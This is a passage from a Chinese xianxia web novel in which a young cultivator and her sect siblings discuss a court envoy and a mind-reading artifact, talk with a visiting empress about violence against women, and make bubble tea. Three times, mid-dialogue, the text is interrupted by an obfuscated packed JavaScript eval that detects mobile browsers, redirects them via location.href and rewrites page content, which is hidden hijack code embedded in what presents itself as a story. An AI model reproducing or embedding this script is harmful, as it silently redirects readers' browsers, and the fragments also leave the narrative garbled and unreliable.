关云铮心说该怎么形容呢,毕竟她当时的第一反应是蜘蛛感应,大脑还没来得及处理信息身体就做出反应什么的,虽然是被动状态。 这么说来也可以形容成入场被动,检测到攻击时触发,然后——弹反! 她脑补了一会儿“游戏角色关云铮”的技能,正想找个合适的说辞解释,左手忽然福至心灵地一动——接住了要从碗边掉下去的筷子。 师门众人一片寂静。 关云铮捞着筷子抬手:“就是这么拎的。” 闻越先开口了:“师父,这么好的东西你怎么不早点给云崽戴上?” 真是哄堂大孝了。 关云铮在这个修仙世界待了这么长时间,还是无法想象世界上居然会有这种形态的师门,听见闻越说这话完全下意识地头皮一紧,被唤起了曾经在东亚传统家庭被说“大人说话小孩不许插嘴”“我是你妈你就得听我的”“你这什么态度”的恐惧。 然而章存舒的回应是:“之前嫌它不够好看。” 还真是啊?? 就离谱。 连映的反应是:“云崽给它起名字了吗?” 关云铮抬起手腕看了会儿:“我还真想过。” 楚悯好奇:“叫什么?” “撷光吧,采撷的撷。”关云铮看向师门众人。 章存舒点点头:“挺好。” 关云铮也跟着点点头:“谢谢师父。” 章存舒抬眼看她:“忽然这么客气?不是昨晚坐地上同我说话的时候了?” “此一时彼一时嘛。”关云铮毫不心虚地说,“而且我觉得它很好看。” 49.第 49 章 “师父。”闻越吃着吃着忽然想起件事,抬起头问道,“柳相在哪吃?” 归墟除了集中教习弟子待的地方有饭堂,就只有归墟还有吃饭的地方了。但柳卿知那个级别的官员,应该不会去集中教习的地方吃饭吧? 章存舒硬是在连映的注视下夹走一片桂花年糕:“柳相?她自有去处。”不吃也有可能,毕竟她也辟过谷。 关云铮茫然看向楚悯,压低声音:“柳相是谁?”都怪昨晚那顿饭太好吃了,光顾着吃没顾得上说话,沟通的太少,除了将隐的话题之外几乎什么也没聊,进度都对不上了。 总之李厨好,姓严的坏。 楚悯也配合着放低声音:“柳卿知,朝廷此次派来和仙盟同行的官员,当朝宰相。” 楚悯说完这句话的当下,关云铮其实没能想起来柳卿知是谁。但随即她就有了种灵光一闪的感觉,仿佛有谁在这个间隙给她理清思绪了一样,她无比自然地想起先前苍韫桢的原话:“卿知已经把他的折子打回去了”。 她一面想着:原来被苍韫桢叫做“卿知”的人是当朝宰相吗,一面又下意识地怀疑:小悯刚说完那会儿她明明对这个名字毫无印象,为什么这么一会儿的时间又突然想起来了?她的记性什么时候这么好了? “都派出当朝宰相了,朝廷会不会太过看重这次观摩了?”她不由得问道。 这句话的音量没克制,自然是桌边的每个人都听见了,章存舒笑了一下,说道:“我看并非是看重。” 关云铮明白了:“是借此敲打严骛?” 江却接话:“大约也不是为了敲打。” 毕竟姓严的那位一大早就在练武场和学堂两个地方之间扑腾来扑腾去,搞出不小的动静来柳卿知也没管过一次,简直让人怀疑她是否还在归墟。结合师父的回答,没准还有可能跑去山下吃饭了。 若是存了敲打的心思,总不至于到了晌午连面也不露。 关云铮迟疑:“那她来干嘛的?” 闻越煞有介事地思考了一会儿,果断道:“看热闹。” 楚悯:“噗。” 关云铮很想笑,艰难忍住后默默夹了一筷子菜:“说的也是。” 毕竟是苍韫桢直接叫名字的人,估计跟女帝那性子相当合得来,奔波数百里为了看热闹?好像也不是不可能。 毕竟被看热闹的那位……这两天是真的很像小丑。 总之小丑,不是,严骛此刻在学堂。 褚鹤贤自然知道这几日学生们都不在,没有必要来学堂点卯,但恰好学生们不在,他的书也到了拿出来晾晒的日子,因此哪怕已过晌午,他仍在学堂里忙碌,听见严骛的脚步声也懒得抬头。 严骛年纪并不大,若是没入仙盟,没准还有机会当几年褚鹤贤的学生,因此虽然对归墟很不满,但对褚鹤贤的态度还算可以,哪怕这位老先生当下只用后背对着他,他也还是弯腰行了个礼:“褚先生,叨扰了。” 褚鹤贤没搭理他,把收藏的卷册都摆出来,挨个翻看是否长了蠹虫。长虫的卷册和页码需要尽快记录下来,以便日后按记忆重新誊写,补上被咬坏的书页。 归墟建成后一直有阵法加持,天气始终温和干爽,书页泛潮的情况并不多见,但毕竟此刻山下已入深秋,蠹虫自然奔着更温暖的地方来了。 守山大阵只驱逐坏人,不驱逐坏虫。 褚鹤贤心疼地翻着书页,时不时抬头操控着身侧的笔,记录下需要修复补足的卷册和页码。 严骛能凭借自己的能力混进仙盟,自然也没少坐过冷板凳,对位高权重者的冷脸早已习以为常,没在意褚鹤贤对他的问好置之不理的行为,走上前问道:“先生可是要将这些卷册拿去晾晒?学生可以帮忙。” 褚鹤贤从卷册间抬起眼来,终于赏了他一个眼神:“老夫并未教过你。” 他看向严骛的眼神里没什么情绪,没有打量,没有怀疑,只是寻常地看了一眼。 严骛许多年没见过这样纯粹的眼神了。仙盟中地位处于他之下的,看他的眼神总是尊敬里掺杂着不易察觉的鄙夷,尊敬是不得不为,鄙夷是真情流露;那些地位处于他之上的,看他的眼神则更像是看待一个好用的物件,偶尔还会流露出一点压根没打算遮掩的嘲弄。 至于仙门人,则更加不做遮掩:仙盟中人并不修道,却能对仙门内部事务横插一手,对教习弟子等事多嘴多舌,修道之人自是能找出一百种厌恶他们的理由。 那些鄙夷、嘲弄、厌恶的眼神就像在说:钻营之辈,无怪乎此。 严骛露出一个真情实意的笑容:“先生才学深厚又醉心教书育人,天下谁人皆可是先生的学生。” 褚鹤贤似乎是叹了口气,随即屈服似的一抬手,把那正在记载的纸笔召来:“我说你记,把卷册和页码写清楚。” 严骛立刻应下,捧着纸笔到下方的一张书桌上坐下,等着褚鹤贤的吩咐。 ——闻越来时见到的便是这样的画面。 惊得他刚迈进学堂半步又立刻退了出去。 见鬼了,在褚老后边像个乖学生似的坐着的,是那个姓严的?他被夺舍了?哦不对,夺舍跟献舍一样早就失传了,以他当年在仙门修习时的境界,应该还不够格。 褚鹤贤年纪虽大了,耳朵却好使得很,听见动静后头也没抬就说道:“来得正好,替我把这堆卷册捧出去。” 闻越“哦”了一声,顺着两列书桌之间的间隙走到学堂的前方:“还是晒在老地方吗?” 褚鹤贤继续翻卷册:“你还能给我找到新地方?” 闻越俯身把那堆没被咬坏的卷册抱起来,老神在在地答道:“那不能够,归墟哪有那么多宽敞的地方晒我们褚老的宝贝卷册。” 褚鹤贤熟练地一掌拍在他背后:“一天到晚就知道嘴贫。” 闻越抱着卷册飞速逃走了。 刚走出学堂,就看见不远处树丛里探出两个脑袋。 关云铮和楚悯像两只探头探脑的狐獴,前者看见闻越出来,还高兴地朝他招了招手。 闻越先是被吓了一跳,没想到两个人偷偷跑出来了,居心叵测的那货可就在他背后的学堂里呢。接着他的神情又转为无奈,把怀里的东西托了托,朝两人走过去。 “你们怎么出来了?不是让你们待在小院里吗?”闻越问道。 关云铮立马收回刚才还在招呼的手,眨了眨眼,装乖道:“不上课也不能下山,太无聊了,出来找你玩。” 闻越失笑:“我得给褚老晒书,要不你俩随我一起?” 关云铮积极响应,牵着楚悯从树丛后走出来:“晒哪儿去?” 闻越朝远处抬了抬下巴:“练武场。每年秋天褚老都会找个日子晒书,本来今年归墟接纳集中教习的弟子,他以为腾不出地方了,结果仙盟来了这么一出,弟子们都下山去了,练武场没人占着,反倒又能晒了。” 楚悯点点头:“闻师兄,分我们一些吧,你怀里这么多卷册,还能看清路吗?” 关云铮已经要伸手去拿了。 闻越往旁边走了一步:“一年没晒了一股子霉味,你们别沾上了。再说了,归墟我都待多久了,不用看我也……哎哟!” 待了很久的归墟不太给他面子,不知哪来的石子硌了他一下,人是只晃了晃没摔,但怀里的卷册快飞出去了。好在关云铮和楚悯早有准备,两人一左一右,把那堆摇摇晃晃的卷册托稳了。 闻越认命地站定,任由两位师妹从他怀里把卷册分走,嘴上还在辩解:“都怪那石子。” 关云铮抱过一叠,点点头,严肃道:“都怪石子,不给我们师兄面子。” 楚悯也跟着点点头:“都怪石子。” 闻越本来也没怎么在意,两人还左一句右一句地帮着他谴责石子,更是直接被逗笑了:“你俩的御物术学得不错。” 关云铮抱着卷册走在闻越旁边:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073785|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为卷册比羽毛和水好操控多了。” 闻越看她:“掌门教御物术用的是羽毛?” 关云铮想起自己被羽毛折磨的那几节课就想往脸上戴痛苦面具,闻言“嗯”了一声:“越是轻巧,越是无形,越是难以掌控。” 楚悯点点头:“不知道是步掌门自己的决定还是仙盟的意思?” 闻越思考了一会儿:“应该是掌门自己的决定吧,你们别看他平时笑眯眯的,其实在制定修习标准这件事上,还挺严苛的。” 他说完又习惯性埋汰了一句仙盟:“那些人懂什么修道。” 楚悯有些困惑:“竟是掌门制定的标准吗?” 三人说话间走到了练武场,闻越把怀里的书册放下,每一本平摊开:“以前掌门也不这样,我怀疑是受任师姐的影响。” 关云铮在闻越旁边把书放下:“任师姐的影响?” 闻越向前走着,走一步放下一本:“你们看任师姐就知道她修习一定十分刻苦,掌门和任师姐的住所在来去峰上挨着,师姐晨起练剑,午后练剑,晚间练剑,掌门都能看见,逐渐就被影响了。” 听起来很有道理……才怪。 关云铮质疑:“这话有依据吗?还是师兄你信口胡说的?”虽然确实听说过学生太勤快反卷得导师连发好几篇论文的……但毕竟这种事的传说色彩太浓厚了,现实生活中她只能看到疯狂压榨学生的导师,和无论何时何地都得立刻响应导师号召的牛马研究生。 虽然她所知的步雁山和这种导师绝无相似之处,但老师好不好不还得看亲传弟子的评价吗?旁观者是无从置喙的。 闻越毫不心虚:“当然是我乱说的。我只知任师姐勤勉,不知她勤勉到什么地步,也不知掌门为何制定严苛的修习标准,终归你们御物术学得不错,标准严格些倒也不算什么大事。” 关云铮悄悄踩了一脚他的影子,小声嘀咕道:“你倒是慷他人之慨了,我学得可累了。” 闻越没听见,走在她旁边的楚悯倒是听到了,轻声笑了一下。 慷他人之慨的便宜师兄回过头来:“不用担心地上脏,褚老晒书是因为放久了生霉,脏污他一个术法就去除了。” 关云铮好奇:“那术法不也应该可以去除异味吗?” 闻越露出一个看透一切的笑容:“自然,但晒书多有成就感,你看。” 他已经走到练武场的尽头,一地的书册在阳光下散发着独特的气味,关云铮轻轻嗅了嗅,感觉没什么霉味,倒是有一股墨的香味。 楚悯深以为然地点头:“确实很有成就感。” 关云铮也跟着点头,随即又想起什么,问道:“对了,师兄,你刚才说到仙盟,那个仙盟人到哪去了?” 闻越弯腰久了有点累,在远处叉腰站着,闻言没好气道:“你现在想起来问了?” 关云铮不明所以地眨眨眼。 闻越向他们来时的方向指了指:“他方才就在学堂。但凡你们两个再胆大一点,就能直接跟他碰上面了。” 啊哦。 还好没进去。 闻越在阳光下微微眯起眼:“虽说我也不清楚仙盟这次派人来到底想做什么,但肯定没憋好屁。” 关云铮默默在心里:爱听,会说多说。 楚悯老实接话:“任师姐昨日说,严骛此行可能带来了一个法器,可测灵根与天赋。” 闻越骤然色变,踩着书册之间仅有的缝隙飞快地跑过来,拉上两个刚晾完书的师妹就走。 两人一脸茫然,但配合地被拉走了。 待到回了关云铮的小院,闻越把两个师妹安置在秋千上,才喘着气解释:“我见过那个法器。” 关云铮也还在喘,因为中午吃太饱,闻越拉着她跑太快,这段路跑得她差点吐了:“真能测灵根和天赋?” 闻越像是回忆起了什么令人不甚愉快的画面,皱着眉头说道:“何止,还能照出识海。” 50.第 50 章 柳卿知其实哪也没去,就待在步雁山给她安排的住处里,只不过她也没饿着,因为有人给她带来了吃的。 某人晨起时分就传来了信,半炷香前忽然出现在房内,还没等站稳便说:“好久没缩地成寸了,技艺竟未生疏。” “你还真来了?”柳卿知把早间从灯罩中飞出来的信件折好,抬眼看向来人。 来人——苍韫桢弯腰理了理衣摆,直起身来把手上的食盒递给柳卿知:“我开了朝会,批完了折子,如何不能来?” 柳卿知没对她的话做出评价,接过食盒打开,把里头的饭菜端出来。 “姓严的在哪折腾呢?”苍韫桢在桌边坐下。 柳卿知面色平淡地夹菜:“隔壁就是苍生道,你去问问章存舒。” 苍韫桢挑眉,随即笑起来:“都把你安排到苍生道附近了,怎么不去他们那吃饭?我听章存舒说他小徒弟手艺不错。” 柳卿知抬眼看她:“他小徒弟昨日傍晚才回来,他哪里会舍得让她下厨?再说了,不是你大早上的让我先饿着,等你给我送吃的来吗?” 苍韫桢撑着下巴点头:“是是,卿知说的是。” 柳卿知原本面无表情,被她一句话逗笑:“你少同我嘴贫。” 苍韫桢坐在桌边看她吃了会儿,站起身来:“既然隔壁就是苍生道,那我去找人聊聊天。” 柳卿知“嗯”了声:“左右严骛也不会去苍生道院内讨嫌,去吧。” 苍韫桢临走前特意看了眼桌上被叠得整齐的信件:“怎么,你还打算从归墟把它带回去?” 柳卿知没抬眼:“不行?” 苍韫桢笑着出门去了:“自然由着你。” **** “当年那个法器刚被打造出来的时候,并非归属仙盟,而是出自一位器修之手。”闻越坐在石凳上面朝两位师妹,开始讲述他所知道的故事。 “那时我初入归墟,对什么都一知半解,只知道大比时有热闹可看,没觉出有哪里危险。”闻越回忆着说道,“哦对,任师姐和师兄就是那年打的架。” 关云铮的注意力瞬间被岔走,很想立刻追问当时二位师兄师姐打架的具体情形,忍了又忍好歹是忍住了,追着话题问道:“什么危险?那个法器?” 闻越点点头:“能照出识海的法器,不觉得听了都后脊发凉吗?” 关云铮心说那可太发凉了,毕竟心魔引就在她识海里,要是严骛此番真的是这个目的,她就能理解章存舒为什么会突然把弟子们都送下山了。 毕竟他加诸于心魔引上的只是封印,不能掩盖它始终存在于识海的事实。 “当时有人因为这个法器被检查出问题吗?”楚悯问道。 闻越摇摇头:“那法器被做出来的时机很不好,按说都到了仙门大比的时候,被挑选出来参与的弟子自然都是各门各派中的前列,没有必要再进行资格方面的筛选。”他叹了口气,“但既有了能测出灵根和天赋的法器,断没有不投入使用之理,因此那法器的第一次使用就是那年的仙门大比。” 关云铮皱眉:“只是筛选?” 闻越摊开双手:“解释的权利自然落在仙盟手里,那东西太随人心意了,能预先设定标准,什么样的灵根被认为是修道圣体,什么样的天赋是修道天才。” “法器检测出的结果与弟子们内心对自己的预期不符,有些人接受不了?”关云铮猜测道。 闻越点了点头:“一直往某个方向努力的人,被检测出灵根与所修之道并不相符,天赋并不如自己以为的上乘……” 时间久了,这些人会怎么想? 楚悯也皱起眉头:“虽说归墟并无入门时的检测,但据我所知,多数仙门都有粗略测试灵根与天赋的环节,怎么会……” 闻越又叹了口气:“这就是我说危险之处。那法器的标准全由使用者裁定,他人是否适合修仙,是否契合某道,全凭使用者三言两语,岂不比心魔引更可怕?” 关云铮默然:确实如此。 那严骛此番还带着这东西,岂不是司马昭之心? 闻越像是看出关云铮在想什么,宽慰道:“还不能确定他此番就带了那玩意儿,再者说,他只是仙盟派来进行观摩的人选,并无太多实权,我料他也没胆子真的用上那东西。” 关云铮并没觉得情状轻松多少:“那如果仙盟是派他先来试探归墟,之后还有别人呢?” 躲得了初一,躲不过十五啊。 闻越伸手摸了摸她的脑袋:“仙盟若是真敢让那东西重新用于人身,其他仙门也定然不会同意,归墟中集中教习的弟子绝大多数来自其他仙门,断没有只有归墟发愁的道理,到时师父自会知会其他门派。” 说到知会其他门派……关云铮强行让自己暂时放下心来,提起另一个话题问道:“师父都是通过什么跟其他门派传信的?” 跟之前的灯火传信一样? 闻越正想回答,一阵脚步声传来,三人同时捕捉到动静,一同转过头,看见连廊上逐渐走来的人。 楚悯和闻越都没见过苍韫桢,关云铮却对她印象相当之深刻,因此一看清来人的相貌就“噌”地一下从秋千上坐了起来:“您怎么来了?” 关云铮对来人的态度过于郑重,闻越和楚悯还没见过她这副模样,趁苍韫桢还没走近悄悄问她来人是谁。 她脸都快被惊得瘫了,闻言从牙缝里挤出声音答道:“柳卿知的顶头上司。” 闻越和楚悯:…… “她是来找谁的?”闻越也开始从牙缝里挤声音。 楚悯低声:“我觉得是来找云崽的。” 闻越目视着苍韫桢越走越近,最终下了连廊在几人面前站定,笑着说道:“我同云崽有些话想说,不如二位先……?” 闻越立马拉着楚悯衣袖走了。 像话吗这。关云铮站在小院中满心凄凉地想。 **** “昨日下山感觉如何?都做了些什么?同我说说。”苍韫桢看起来心情不错,一坐下就这样问道。 关云铮简单把昨日的经历说了说,删去了与原身有关、不便与外人言的部分。 苍韫桢饶有兴致地听完了,察觉到关云铮说完了还看了她一眼:“没了?” 关云铮说得喉咙都快冒烟了,闻言瞪大眼睛:“您觉着还不够跌宕起伏?” 苍韫桢被她逗笑:“确乎跌宕起伏。”她笑了会儿才继续说道,“你方才说,遇见了一个江湖散修,还是音修?” 关云铮应了声,了然道:“您不会也认识她吧?” 苍韫桢颔首:“知道一些,她家世代都是斫琴师,到她这代旁支多,技艺不怕没人继承,她便去学音修之道了。” 关云铮点点头,很想接着说点什么,但实在渴得受不了了,快步回屋把茶具抱出来,先给自己倒了一杯,又看向苍韫桢:“我这只有水没有茶叶,您喝吗?” 苍韫桢抬手给自己也倒了一杯:“上次拿回来的茶叶呢?” 关云铮一口把一杯水给干了,又给自己倒了一杯才回答:“一些在师父那儿,一些在饭堂,备着煮奶茶。” 苍韫桢挑眉:“奶茶?” 关云铮捧着茶盏“嗯”了声:“陛下待到何时?若是不急着走,我去给您煮一点尝尝?” 苍韫桢一愣,随即眉眼都笑得弯起来:“好啊,那就劳烦你了。” 关云铮这才接上方才的话题:“那她是苏家直系?直系不继承技艺,不会落人口舌吗?” 苍韫桢低笑:“你也见过她了,你觉着她在意会否落人口舌吗?” 关云铮默然: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079260|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那确实不会。 苍韫桢似乎是在回想记忆里苏逢雨的样子,又像是在忖度下一个话题,沉默了一会儿才继续说:“她对那些邪修的态度如何?” 关云铮莫名被这个问题梗了一下,有点不明白女帝想表达什么,但还是照实回答道:“像见了脏东西吧。” “她没同你说过什么别的话?”苍韫桢问道。 关云铮疑惑:“除开介绍姓名和来意,没说什么别的了。” 苍韫桢撑着下巴:“也是,你毕竟还小,她可能不会同你说这些。” 关云铮一头雾水,有什么话题是她这个二十多……哦她现在十五,好吧十五岁不能听的东西是有那么一些,但她又不是21世纪的十五岁!这都古代架空了! 苍韫桢被她变幻莫测的神情再度逗笑,解释道:“也可能当时有他人在场,她不便说这些,不然以她的性子,约莫是不会只介绍姓名。” 他人?那当时“他人”确实很多,没死的邪修,楚恽,和一大帮被绑走的姑娘。 “奸|淫|掳|掠妇女的情形并不少见。”苍韫桢忽然这么说道,“我同她认识那时,也是因为差不多的事。” 关云铮面上神情毫无波动,实则差点咬了自己舌头。虽然苍韫桢说的是无需“大惊小怪”的事实,但骤然从平静的话题切到这里,她绝非毫无触动。 所以要是没有“他人”,昨日的苏逢雨会说什么? “那时我,”苍韫桢忽然顿了一下,然而停顿十分不明显,关云铮几乎还没来得及反应,她就又接上了前面的话,“年少轻狂,见了此事愤慨非常,解决歹人后怒斥了许久的世道,女人不得入私塾学堂学习,女人不得自由决定婚姻嫁娶,女人不得违逆父母夫婿,女人不得抛头露面……” “而男人呢?一个男人哪怕从小胸无大志,文不成武不就,爹娘也会在外高声宣称,自己的儿子‘是金子总会发光’,而那金子自身更是会在喝得烂醉如泥后,嚷嚷自己绝非无才无德,而是怀才不遇,他人目不识珠。” “一个男人哪怕流连花街柳巷,不过一时敷衍配合,听从父母的心意娶了妻,日后照样嫖|赌两不误,别人也只会指责那女人无能,父母只会对那无辜妻子斥责打骂,不会怪罪儿子半分。” “一个男人,奸|淫|妇女不需要付出任何代价,他们甚至会在走出作恶地的瞬间,忘记那可怜女子的相貌,继续毫无负担地在这世上潇洒快活,那女子却要因为此事被戳断脊梁,痛苦度日,有的自缢而亡,有的郁郁而终。” “你猜那时苏逢雨说了什么?”苍韫桢忽然问道。 关云铮还没从方才的震撼中彻底脱离,闻言愣了一下想开口,发现自己嗓子哑得厉害,低声咳了几下才说道:“说了什么?” “她说,‘女人的悲剧总是和裤||裆脱不了关系’*。” 关云铮方才咳了几下嗓子发疼,本想喝水,听了此话顿时被震住,一时水都忘了喝。 “我从前生长的地方待我太好了,哪怕有男女之间的偏见,那也是温和的,毕竟谁会对一个公主流露出明显的恶意呢?没有人会不想活到那种地步。”苍韫桢终于喝了一口水。 “因此当我咬牙迈进世道这污浊洪流,自然喝了一嘴的泥沙,湿了一身的脏水。” “我的愤慨对于作恶之人而言,只是隔靴搔痒。” 所以她收敛了自己无用的愤慨。 苏逢雨一句话总结了无数女人身上的悲剧,不知她学琴多年游历人间,到底见过多少。 她起先以为这句话是苏逢雨见过太多悲剧之后,麻木的冷嘲。 但她分明也记得,那日她生疏地用琴弦割断那歹徒的喉咙时,脸上是多么触目惊心的狠厉与果决。 她把自己割得满手是血,却也割开了那蒙住痛呼的靴。 51.第 51 章 可能是察觉到自己说的话题太过沉重,苍韫桢突兀地转了话题,问道:“说起来,你觉不觉得,我们的名字听起来有些相像?” 关云铮一愣,有点没明白话题是怎么从男女平|权拐到名字相似度上的,但还是如实回答:“有一些。” 要是像她这种前后鼻音不分的南方人,念出来就更像了。 “那你会觉得,我对待你的态度,是因为你和我有几分相似吗?”苍韫桢看着她问道。 关云铮皱眉:“并不会。您为什么突然这么问?” 苍韫桢笑起来:“因为见多了,那些身居高位的人出于某些原因要利用某个初出茅庐的年轻人时,就会用上那套说辞——” 关云铮下意识接话:“你和我年轻时很像?” 苍韫桢哈哈大笑:“我就知道你能明白。” 关云铮转着手里的茶盏:“左不过就是这么几句,也翻不出什么花样来。” 苍韫桢抬手喝了口水:“我先前也遇到过这样对我说的人,你如何看待此事?” 这问题听起来怎么那么像结构化面试……关云铮跳脱地想。 她停下手上的动作:“什么都能说?” 苍韫桢摊开手:“我也没在你面前自称朕啊。” 有什么不能说的。 于是关云铮直白道:“多数情况下是一种自恋行为吧,”她说完这句意识到“自恋”这词可能对于古代人有点难以理解,正想解释,发现苍韫桢的眼神明显是听懂了,要她继续的意思,于是接着说,“一个人到达了某个高度之后,年纪也不可避免地增长了,总会不由自主地开始追忆往昔。” “这时候突然出现一个与ta年轻时十分相像的人,会萌生帮一把的想法很正常,毕竟某种意义上来说,也算是帮了曾经的自己。”关云铮说着说着忽然笑了一下,“这么一说好像还挺像大善人的,但是我觉得这件事也得分情况谈论。” 苍韫桢配合道:“分哪些情况?” “要是对自己的心理只字不提,不做声地帮了,那我会把ta评价成大善人;但要是ta从最开始就把这句话挂在嘴边——” 苍韫桢:“你当如何?” 关云铮握住两手,虚空抓住了一张纸,又松开右手,从右往左在空中划了一笔,嘴上逐字说道:“快,逃。” 苍韫桢又一次哈哈大笑起来:“说得对。” 就不扯年轻不年轻,像不像了,这种明摆着挟恩图报的话,她要是听了能当场逃出去几里地不带回头的。仅仅因为有几分相似就愿意帮忙,这种恩情她可报答不起。 “且不论我尚且没帮过你什么,就算我要帮你,也绝不是因为你与我有何处相像,而是因为你与我毫不相似,在你身上我看到了无限可能。”苍韫桢看着关云铮说道。 啊,这个,那个,她身上真能看出无限可能吗?她这么厉害? 苍韫桢喝干净茶盏里最后一点水,放下茶盏起身:“我大概还能待一个时辰,你说的那个,奶茶?听着让人怪馋的,一个时辰能煮好吗?” 关云铮“噌”地起身:“我现在就去煮!” **** 还得多谢那姓严的,这几天师门大家都不怎么离开自己的院子,连李演都还在饭堂待着,关云铮过去找他时他正好在煮茶。 “李厨李厨!”关云铮哒哒小跑着进门。 李演坐在炉火前头,听见她说话,应了一声,了然地问道:“要煮奶茶?” 关云铮眉开眼笑的:“你怎么知道?” 李演把手边的陶罐抱起来给她:“这两天不是不修习吗?我猜你大概是要煮的。” 关云铮捧着陶罐点点头,刚想说点什么,就听李演接着说道:“木薯粉我也准备好了,你看看够不够?” 李演说着抬了抬头,示意她看向灶台。 关云铮下意识看过去,看见了满满一筛子的木薯粉,不由得震惊:“李厨你也太贴心了!” 说实话,她还是刚才跑过来的路上才想起最近都没准备木薯粉,待会儿苍韫桢可能只能喝到纯奶茶,没有珍珠,结果没想到李演居然都准备好了! 炉火上的茶煮到沸腾,李演把茶壶拎起来:“既然你来了,剩下的你自己处理吧?” 关云铮点点头,十分潇洒地一摆手:“我来就行,李厨你就等着喝吧。” 李演笑着答了声“好”,站起身到桌边坐下了。 糖也准备好了……关云铮开始专心搓珍珠,同时在锅里煮起糖浆。 在她忙碌期间,师门的各位像是有什么心灵感应,等她捣鼓完珍珠一回头,发现大家居然都在桌边坐下了,甚至柳卿知和苍韫桢也来了。 她煮珍珠的时候是穿越了吗?怎么一点动静都没听见? 柳卿知和苍韫桢单独坐了一桌,关云铮转过头时两人正在低声交谈,察觉到目光,一同抬眼看过来。 可能因为先前在谈公事的缘故,两人看过来时脸上的神情很平淡,看着没什么人情味,因此先前被掩盖得很好的一些气质就显露了出来。 关云铮甚至感觉到了一点不算特别外露的杀伐气,并非来自苍韫桢,而是她旁边的柳卿知。 在说什么……怎么隐约觉得朝廷里有人要倒霉了…… 关云铮默默又转回去,把水牛乳倒进锅里进行杀菌处理,本来右手都开始搅动防止粘锅了,忽然意识到不对劲。 她从昨晚开始就有点不对劲。 先是莫名其妙灵气异动,把摇羽都震出剑鞘了,接着又是被人点拨一样忽然想起柳卿知的名字,现在甚至想也不用想,就觉得柳卿知流露出了杀意,朝廷中的人就要倒霉…… 虽然好像都是什么不值一提的小事,甚至都能找到理由:灵气异动可能是她经历了下山这一天的事情有所长进;柳卿知的名字她可能一直记着只是一时没想起;柳卿知作为当朝宰相,会让她流露出杀意的事情不多,大概率是朝廷中有人草菅人命之类…… 但关云铮了解她自己,她对一件事的反应完全取决于对这件事的熟悉程度,越是熟悉她反应越快,不熟悉的事她往往要过很长时间重新接触到相关信息,才能重新想起来——所以断没有她第一时间想不起来柳卿知的名字,过了一会儿什么也没干,却开了灵窍一般立马想起来的道理。 因此想也不用想就觉得朝中有人要倒霉,也是十分不合常理的。 为什么?她不过是下了个山杀了个邪修而已,修为增进到这种地步了吗? 关云铮若有所思地想着,丝毫没注意到苍韫桢已经走近,直到后者开口,她才忽然被吓了一跳,猛地回过神来。 “快煮沸了。”苍韫桢说。 关云铮下意识“啊”了一声,一转眼发现锅里的水牛乳都快开了,急急忙忙地开始搅拌。 苍韫桢靠在灶台边若有所思:“我怎么觉得你先前并不是这个打算?” 关云铮一边搅拌一边分出神去回答:“嗯?什么打算?” 苍韫桢用眼神点了点那口煮牛乳的锅:“先前看你似乎并不打算煮沸。” 关云铮点点头:“原先确实不打算煮沸,不过也差不多……”原本她打算用巴氏消毒法的,但说实话,古代没有温度计,她没法很好地控制温度区间,再加上现在都快沸腾了,只好跟前几次一样,依旧用煮沸杀菌法,一边煮一边搅拌,一煮沸就停下,免得破坏营养。 苍韫桢没追问,又看向一边棕褐色的小玩意儿:“这又是什么?用什么做的?” 关云铮思考了一会儿,觉得皇宫里应该有本事给苍韫桢复刻珍珠奶茶,于是详细地解释了一番珍珠的制作过程。 苍韫桢饶有兴致地听着,听完来了句:“方便写下来吗?我带回去让御厨试试。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089737|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关云铮一口应下:“没问题,煮完这锅奶茶就给您写下来。” **** 最终每个人都分到了两碗奶茶,加上很多很多的珍珠。 上次一块木薯洗出来的木薯粉有限,大家只分到几颗,章存舒还十分痛心地给了栖霜一颗。今日珍珠量大管够,闻越喝一口奶茶吃一勺珍珠,嚼得越发上瘾。 关云铮慢吞吞地边喝边写“菜谱”,注意到闻越在旁边咀嚼的动作,忽然抬起头若有所思地看了他一会儿,问道:“师兄,你在用单侧嚼吗?” 闻越含混道:“用的左侧,怎么了?” 关云铮给菜谱添了几个字,头也不抬地说:“长期单侧咀嚼容易颞下颌关节紊乱哦。” 话音刚落,师门所有人看过来。 连映:“颞下……什么?” 师姐难得有这么不确定的时候。 关云铮后知后觉地意识到自己刚才说了什么,感觉自己这两天真是太奇怪了,虽然她自己就有颞下颌关节紊乱,这个医学知识点她也很熟悉,但也不至于这么不过脑就说出来吧,摆明了说出来是会引起一片困惑的,她的脑子出什么毛病了?哦不对,她的嘴和脑子出什么毛病了? 她在心里悄悄叹了口气,伸出两手按在自己两侧脸颊接近耳朵处:“颞下颌关节,就这两个位置,如果长期单侧咀嚼,张口时会有痛感,还会发出异响,这就是紊乱。” 